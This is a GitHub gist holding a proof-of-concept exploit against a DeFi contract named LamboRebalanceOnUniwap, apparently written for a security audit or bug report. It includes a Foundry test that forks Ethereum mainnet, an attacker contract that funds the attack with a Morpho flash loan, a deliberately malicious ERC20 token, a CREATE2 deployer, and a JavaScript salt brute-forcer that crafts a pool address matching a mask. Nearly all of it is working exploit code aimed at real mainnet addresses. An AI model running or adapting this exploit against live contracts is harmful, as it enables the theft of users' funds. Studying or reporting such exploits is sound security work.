-
-
Save CDDose/cf9d31046af661d077c442e437b9a06b to your computer and use it in GitHub Desktop.
Put all this files in the /test/Attack/ folder, but put Attack.t.sol in the /test
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.20; | |
import {Test} from "forge-std/Test.sol"; | |
import {LamboRebalanceOnUniwap} from "../src/rebalance/LamboRebalanceOnUniwap.sol"; | |
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
import {VirtualToken} from "../src/VirtualToken.sol"; | |
import {IDexRouter} from "../src/interfaces/OKX/IDexRouter.sol"; | |
import {LaunchPadUtils} from "../src/Utils/LaunchPadUtils.sol"; | |
import {IWETH} from "../src/interfaces/IWETH.sol"; | |
import {ILiquidityManager} from "../src/interfaces/Uniswap/ILiquidityManager.sol"; | |
import {INonfungiblePositionManager} from "../src/interfaces/Uniswap/INonfungiblePositionManager.sol"; | |
import {IPoolInitializer} from "../src/interfaces/Uniswap/IPoolInitializer.sol"; | |
import {IUniswapV3Pool} from "../src/interfaces/Uniswap/IUniswapV3Pool.sol"; | |
import {IUniswapV3Factory} from "../src/interfaces/Uniswap/IUniswapV3Factory.sol"; | |
import {console} from "forge-std/console.sol"; | |
//Import attack utilities | |
import {Token} from "./Attack/Token.sol"; | |
import {Attack} from "./Attack/Attacker.sol"; | |
import {Deployer} from "./Attack/Deployer.sol"; | |
contract RebalanceTest is Test { | |
LamboRebalanceOnUniwap public lamboRebalance; | |
uint256 private constant _ONE_FOR_ZERO_MASK = 1 << 255; // Mask for identifying if the swap is one-for-zero | |
address public multiSign = 0x9E1823aCf0D1F2706F35Ea9bc1566719B4DE54B8; | |
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; | |
address public OKXTokenApprove = 0x40aA958dd87FC8305b97f2BA922CDdCa374bcD7f; | |
address public OKXRouter = 0x7D0CcAa3Fac1e5A943c5168b6CEd828691b46B36; | |
IUniswapV3Factory public factory = | |
IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984); | |
address public VETH; | |
address public uniswapPool; | |
address public NonfungiblePositionManager = | |
0xC36442b4a4522E871399CD717aBDD847Ab11FE88; | |
Token public token; | |
Attack public attacker; | |
Deployer public deployer; | |
bytes32 public computedSalt = | |
0xa82872b96246dac512ddf0515f5da862a92ecebebcb92537b6e3e73199694c45; | |
uint public computedMask = | |
uint256(uint160(0x31CA527e716474aD2cbE782008311F9Ec108916c)); | |
function setUp() public { | |
vm.createSelectFork("https://rpc.ankr.com/eth"); | |
lamboRebalance = new LamboRebalanceOnUniwap(); | |
uint24 fee = 3000; | |
vm.startPrank(multiSign); | |
VETH = address( | |
new VirtualToken("vETH", "vETH", LaunchPadUtils.NATIVE_TOKEN) | |
); | |
VirtualToken(VETH).addToWhiteList(address(lamboRebalance)); | |
VirtualToken(VETH).addToWhiteList(address(this)); | |
vm.stopPrank(); | |
// prepare uniswapV3 pool(VETH <-> WETH) | |
_createUniswapPool(); | |
lamboRebalance.initialize( | |
address(this), | |
address(VETH), | |
address(uniswapPool), | |
fee | |
); | |
//create the deployer | |
console.log(VETH); | |
deployer = new Deployer(); | |
console.log(address(deployer)); | |
//deploy token | |
token = Token(address(deployer.deployToken(computedSalt))); | |
//mint tokens | |
token.mint(1e30); | |
token.setRebalancer(address(lamboRebalance)); | |
//create the pool | |
address attack_pool = factory.createPool(address(token), VETH, 3000); | |
IUniswapV3Pool(attack_pool).initialize(131276603545914982333996914145); | |
//then deploy attacker | |
attacker = new Attack( | |
uniswapPool, | |
address(token), | |
address(lamboRebalance), | |
computedMask, | |
VETH | |
); | |
//transfer tokens to attacker | |
token.transfer(address(attacker), 1e30); | |
} | |
function _createUniswapPool() internal { | |
VirtualToken(VETH).cashIn{value: 1000 ether}(1000 ether); | |
VirtualToken(VETH).approve(NonfungiblePositionManager, 1000 ether); | |
IWETH(WETH).deposit{value: 1000 ether}(); | |
IWETH(WETH).approve(NonfungiblePositionManager, 1000 ether); | |
// uniswap only have several fee tial (1%, 0.3%, 0.05%, 0.03%), we select 0.3% | |
uniswapPool = IPoolInitializer(NonfungiblePositionManager) | |
.createAndInitializePoolIfNecessary( | |
VETH, | |
WETH, | |
uint24(3000), | |
uint160(79228162514264337593543950336) | |
); | |
INonfungiblePositionManager.MintParams | |
memory params = INonfungiblePositionManager.MintParams({ | |
token0: VETH, | |
token1: WETH, | |
fee: 3000, | |
tickLower: -60, | |
tickUpper: 60, | |
amount0Desired: 400 ether, | |
amount1Desired: 400 ether, | |
amount0Min: 400 ether, | |
amount1Min: 400 ether, | |
recipient: multiSign, | |
deadline: block.timestamp + 1 hours | |
}); | |
INonfungiblePositionManager(NonfungiblePositionManager).mint(params); | |
params = INonfungiblePositionManager.MintParams({ | |
token0: VETH, | |
token1: WETH, | |
fee: 3000, | |
tickLower: -12000, | |
tickUpper: -60, | |
amount0Desired: 0, | |
amount1Desired: 50 ether, | |
amount0Min: 0, | |
amount1Min: 0, | |
recipient: multiSign, | |
deadline: block.timestamp + 1 hours | |
}); | |
INonfungiblePositionManager(NonfungiblePositionManager).mint(params); | |
params = INonfungiblePositionManager.MintParams({ | |
token0: VETH, | |
token1: WETH, | |
fee: 3000, | |
tickLower: 60, | |
tickUpper: 12000, | |
amount0Desired: 50 ether, | |
amount1Desired: 0, | |
amount0Min: 0, | |
amount1Min: 0, | |
recipient: multiSign, | |
deadline: block.timestamp + 1 hours | |
}); | |
INonfungiblePositionManager(NonfungiblePositionManager).mint(params); | |
} | |
function test_rebalance_from_weth_to_veth() public { | |
//note First swap 422 WETH for VETH, to make VETH expensive | |
uint256 amount = 422 ether; | |
uint256 _v3pool = uint256(uint160(uniswapPool)) | (_ONE_FOR_ZERO_MASK); | |
uint256[] memory pools = new uint256[](1); | |
pools[0] = _v3pool; | |
uint256 amountOut0 = IDexRouter(OKXRouter).uniswapV3SwapTo{ | |
value: amount | |
}(uint256(uint160(multiSign)), amount, 0, pools); | |
console.log("user amountOut0", amountOut0); | |
//use attacker | |
attacker.takeProfit(100 ether); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.20; | |
import {LamboRebalanceOnUniwap} from "../../src/rebalance/LamboRebalanceOnUniwap.sol"; | |
import {Token} from "./Token.sol"; | |
import {IMorpho} from "@morpho/interfaces/IMorpho.sol"; | |
import {IMorphoFlashLoanCallback} from "@morpho/interfaces/IMorphoCallbacks.sol"; | |
import {INonfungiblePositionManager} from "../../src/interfaces/Uniswap/INonfungiblePositionManager.sol"; | |
import {IDexRouter} from "../../src/interfaces/OKX/IDexRouter.sol"; | |
import {console} from "forge-std/console.sol"; | |
contract Attack { | |
address public constant morphoVault = | |
0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb; | |
address public owner; | |
INonfungiblePositionManager public constant positionManager = | |
INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); | |
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; | |
address public constant OKXTokenApprove = | |
0x40aA958dd87FC8305b97f2BA922CDdCa374bcD7f; | |
address public immutable vETH; | |
address public immutable pool; | |
Token public immutable token; | |
LamboRebalanceOnUniwap public immutable rebalancer; | |
uint256 public immutable mask; | |
address public constant OKXRouter = | |
0x7D0CcAa3Fac1e5A943c5168b6CEd828691b46B36; | |
modifier onlyOwner() { | |
require(msg.sender == owner); | |
_; | |
} | |
constructor( | |
address _pool, | |
address _token, | |
address _rebalancer, | |
uint256 _mask, | |
address _vETH | |
) { | |
pool = _pool; | |
token = Token(_token); | |
rebalancer = LamboRebalanceOnUniwap(payable(_rebalancer)); | |
mask = _mask; | |
owner = msg.sender; | |
vETH = _vETH; | |
//Approve Position manager | |
token.approve(address(positionManager), ~uint256(0)); | |
Token(vETH).approve(address(positionManager), ~uint256(0)); | |
} | |
//A function to start the attack, by taking a flash-loan from Morpho | |
function takeProfit(uint256 loanAmount) public onlyOwner { | |
IMorpho(morphoVault).flashLoan(WETH, loanAmount + 1, new bytes(0)); | |
} | |
function onMorphoFlashLoan(uint256 assets, bytes calldata) external { | |
require( | |
msg.sender == address(morphoVault), | |
"Caller is not morphoVault" | |
); | |
//Tell token how much WETH to give back to balancer | |
token.setWETHAmount(assets); | |
//Then transfer required amount | |
Token(WETH).transfer(address(token), assets); | |
//Add liquidity to our maliciosu pool | |
//We only need to provide enough malicious token to be swapped with VETH | |
//hence we dont need to provide and VETH | |
INonfungiblePositionManager.MintParams memory params = INonfungiblePositionManager | |
.MintParams({ | |
token0: address(token) < vETH ? address(token) : vETH, | |
token1: address(token) < vETH ? vETH : address(token), | |
fee: 3000, // 0.3% pool, for example | |
tickLower: 60, //do not care | |
tickUpper: 6000, //do not care | |
amount0Desired: address(token) < vETH ? 1e24 : 0, | |
amount1Desired: address(token) > vETH ? 1e24 : 0, // If you want to start one-sided with Token | |
amount0Min: 0, | |
amount1Min: 0, | |
recipient: address(this), | |
deadline: block.timestamp | |
}); | |
(uint256 tokenId, uint128 liquidity, , ) = positionManager.mint(params); | |
//Then perform the rebalancing, using our mask and assets - 1 wei | |
rebalancer.rebalance(mask, assets - 1, 0); | |
//The attack is performed, remove liquidity from our pool | |
//now our pool contains 1 VETH which we got with a discount | |
INonfungiblePositionManager.DecreaseLiquidityParams | |
memory decreaseParams = INonfungiblePositionManager | |
.DecreaseLiquidityParams({ | |
tokenId: tokenId, | |
liquidity: liquidity, | |
amount0Min: 0, | |
amount1Min: 0, | |
deadline: block.timestamp | |
}); | |
(uint256 amount0Removed, uint256 amount1Removed) = positionManager | |
.decreaseLiquidity(decreaseParams); | |
INonfungiblePositionManager.CollectParams | |
memory collectParams = INonfungiblePositionManager.CollectParams({ | |
tokenId: tokenId, | |
recipient: address(this), | |
amount0Max: ~uint128(0), | |
amount1Max: ~uint128(0) | |
}); | |
//Tell token no need to send anymore WETH To rebalancer | |
token.setWETHAmount(0); | |
//Collect tokens from the pool | |
(uint256 amount0Collected, uint256 amount1Collected) = positionManager | |
.collect(collectParams); | |
//we received 1 VETH at a discount, 2 wei less because of pool fees | |
require( | |
Token(vETH).balanceOf(address(this)) == 99999999999999999998, | |
"Received 1 VETH" | |
); | |
require( | |
Token(vETH).approve(address(OKXTokenApprove), 99999999999999999998), | |
"Approve failed" | |
); | |
uint256 _v3pool = uint256(uint160(pool)); | |
uint256[] memory pools = new uint256[](1); | |
pools[0] = _v3pool; | |
IDexRouter(OKXRouter).uniswapV3SwapTo( | |
uint256(uint160(address(this))), | |
99999999999999999998, | |
0, | |
pools | |
); | |
//give back loan | |
Token(WETH).approve(address(morphoVault), assets); | |
//we are left with more | |
assert(Token(WETH).balanceOf(address(this)) > 0); | |
console.log(Token(WETH).balanceOf(address(this))); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.20; | |
import {Create2} from "@openzeppelin/contracts/utils/Create2.sol"; | |
import {Token} from "./Token.sol"; | |
contract Deployer { | |
event logHash(bytes32 _hash); | |
function deployToken(bytes32 salt) public returns (address token) { | |
bytes memory bytecode = type(Token).creationCode; | |
emit logHash(keccak256(bytecode)); | |
token = Create2.deploy(0, salt, bytecode); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { ethers } = require('ethers'); | |
const { getCreate2Address } = require('@ethersproject/address'); | |
const { computePoolAddress, FeeAmount } = require('@uniswap/v3-sdk'); | |
const { Token } = require('@uniswap/sdk-core'); | |
// Lets assume this is the address of VETH-VETH pool, we use an easy address (with a few bits set to 1) | |
// To be able to find the salt easier, for sake of this POC | |
const mainPool = "0x0000000000000000000000000000000000000093"; | |
//Bytecode hash of attacker token | |
const tokenHash = "0x9626ffa272f7842719c94ab4e6fa689ae2ac9626717c2909a057b6c51b9d9743"; | |
//Address of VETH for pool calculation | |
const VETH = "0x999dFa89004f02a806076c482BABC8479D26fa00"; | |
//Address of uniswap v3 factory | |
const poolDeployer = "0x1F98431c8aD98523631AE4a59f267346ea31F984"; | |
//Address of token deployer | |
const tokenDeployer = "0x2e234DAe75C793f67A35089C9d99245E1C58470b" | |
async function main() { | |
// Convert addresses to BigInt for the mask check | |
const mainPoolVal = BigInt(mainPool.toLowerCase()); | |
let attempts = 0; | |
let i = 0 | |
while (true) { | |
i++; | |
attempts++; | |
const randomSalt = ethers.solidityPackedSha256(['uint256'], [i]); | |
// Compute the token address from the salt and the tokenHash | |
const tokenAddr = getCreate2Address(tokenDeployer, randomSalt, tokenHash); | |
// Construct Token instances for Uniswap v3-sdk | |
const tokenA = new Token(1, tokenAddr, 18, 'TKN', 'Token'); | |
const tokenW = new Token(1, VETH, 18, 'VETH', 'VETH'); | |
// Compute the pool address for tokenAddr-VETH pair | |
const poolAddr = computePoolAddress({ | |
factoryAddress: poolDeployer, | |
tokenA: tokenA, | |
tokenB: tokenW, | |
fee: FeeAmount.MEDIUM | |
}); | |
const poolVal = BigInt(poolAddr.toLowerCase()); | |
// Check condition: mask | mainPool = poolAddr | |
// mask = poolAddr & ~mainPool | |
const mask = poolVal & (~mainPoolVal); | |
console.log(poolVal); | |
if ((mask | mainPoolVal) === poolVal) { | |
console.log("Found a match!"); | |
console.log("Random Salt:", randomSalt); | |
console.log("Token Address:", tokenAddr); | |
console.log("Pool Address:", poolAddr); | |
console.log("Mask:", ethers.getAddress("0x" + mask.toString(16))); | |
console.log("Attempts:", attempts); | |
break; | |
} | |
} | |
} | |
main(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.20; | |
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; | |
contract Token is ERC20 { | |
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; | |
address public rebalancer; | |
uint public wethAmount; | |
constructor() ERC20("Malicious Token", "MToken") {} | |
function mint(uint amount) public { | |
_mint(msg.sender, amount); | |
} | |
function setRebalancer(address _rebalancer) public { | |
rebalancer = _rebalancer; | |
} | |
function setWETHAmount(uint amount) public { | |
wethAmount = amount; | |
} | |
function transfer(address to, uint amount) public override returns (bool) { | |
ERC20(WETH).transfer(rebalancer, wethAmount); | |
return super.transfer(to, amount); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment